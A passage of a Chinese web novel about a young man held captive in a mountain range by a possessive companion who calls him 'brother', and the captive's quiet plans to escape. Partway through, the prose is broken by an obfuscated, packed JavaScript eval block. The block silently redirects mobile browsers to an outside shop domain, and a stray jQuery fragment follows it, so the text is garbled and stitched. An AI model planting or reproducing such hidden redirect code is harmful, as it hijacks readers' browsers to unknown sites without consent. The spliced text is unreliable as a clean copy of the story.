他这些天一直在想着如何套话,才能既不打草惊蛇也能打探到对逃跑有利的消息。
他其实早就注意到了阿鱼骨的非比寻常——安全在被蛊虫啃咬的时候一直在找它,嘴里嚷嚷的也是它,自己当时还没怎么在意,后来一复盘,便料定这蛊虫怕阿鱼骨。
他知道这群山里有蛊虫,但他并不知道自己不在余槿的陪同下会不会被蛊虫啃食,逛了这么多天,今天终于找到机会问个明白了。
这片山范围很广,绕过一座小的,外面还有一圈大的,简直是一环套一环。
李瑜被囚禁在这群山里,他从未想过用囚禁这个词去形容自己的处境,但现实就是这样。
他还记得自己曾调侃余槿是山窝窝里的山大王,那时候的自己还是以哥哥的身份去宠爱一个弟弟,但如今的自己完全没有对“山窝窝”一词的喜爱了,他的内心只剩下厌恶和对这个牢笼的恐惧。
李瑜的手有些发抖,眼神却满是激动与庆幸,“我要成功了……我要成功了……离开这,离开这……”
他在心里喃喃自语。
余槿站在他的后侧方,看不到他的表情,却能看到对方那略微发颤的胳膊,立马上前焦急地问道,“哥哥?你怎么了?”
“没事,”李瑜低着头,忙把表情收住,并压低了嗓音里的兴奋,“只是时候不早了,我们要不然回去吧?”
余槿用手挡了一下额头,眯着眼看了看天上的太阳,说道,“好,”说完就把栓在脖子上的草帽取了下来,“哥哥,太阳有点大,戴上帽子吧。”
他把帽子戴到李瑜的头上,戴完之后还温柔贴心地把绳子打了个蝴蝶结。
他捧起李瑜的下巴,仔细地端详这张脸。
这是一张很有接吻欲望的脸,他的每一处五官仿佛都是为了能与人接吻而生————
李瑜的瞳孔泛着一圈水光,像是晨起滑落的露珠,让人很想采撷,然后湿在手上。明明抬头时的样子乖巧漂亮,偏偏这张让人欲罢不能的嘴里却说不出一句情话。
他滚了滚喉结,喉咙和嘴唇在此时显得异常干燥。
“好想接吻啊哥哥……”
“……”李瑜的表情接近无语。
“不可以嘛……”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706599|207886||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“我说过什么?”
“我不知道。”
“需要我重复第二遍吗。”
余槿摇摇头,没再继续装傻。
他们从山上下来的时候太阳已经爬到两人的脊背,空气里的蒸汽也被消耗殆尽,整座山林都带着干涩的味道。
李瑜舔舐着自己微微发干的嘴唇,抬手擦了下额头的细汗。
这本是再正常不过的动作,可到了余槿眼里,就成了一种“邀请”。
他从路边的树上摘下一颗表皮泛红的果子,又把外皮仔细地擦了擦,递到李瑜面前,“哥哥,吃这个解解渴吧。”
“这是……”李瑜接过果子。
他先是看了看这颗漂亮的果子,接着就一直把目光放在余槿脸上。
余槿没有说话,因为他真的很享受和李瑜对视。他发现只要一直不说话,就能一直和亲爱的哥哥对视。
李瑜见对方一直不说话,只一脸深情地看着自己,就先一步低了头。
余槿看着这个恼人的帽顶,一时起了“坏心思”。
“毒果子,”余槿说道。